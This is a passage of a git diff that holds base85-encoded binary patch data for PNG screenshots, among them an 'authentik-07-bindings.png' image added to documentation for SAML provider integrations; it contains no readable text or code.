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 literal 0 HcmV?d00001 diff --git a/enterprise/integrations/saml-providers/images/authentik-07-bindings.png b/enterprise/integrations/saml-providers/images/authentik-07-bindings.png new file mode 100644 index 0000000000000000000000000000000000000000..41aade53d9edd5b2363ad16de26d8183e34dd741 GIT binary patch literal 72595 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 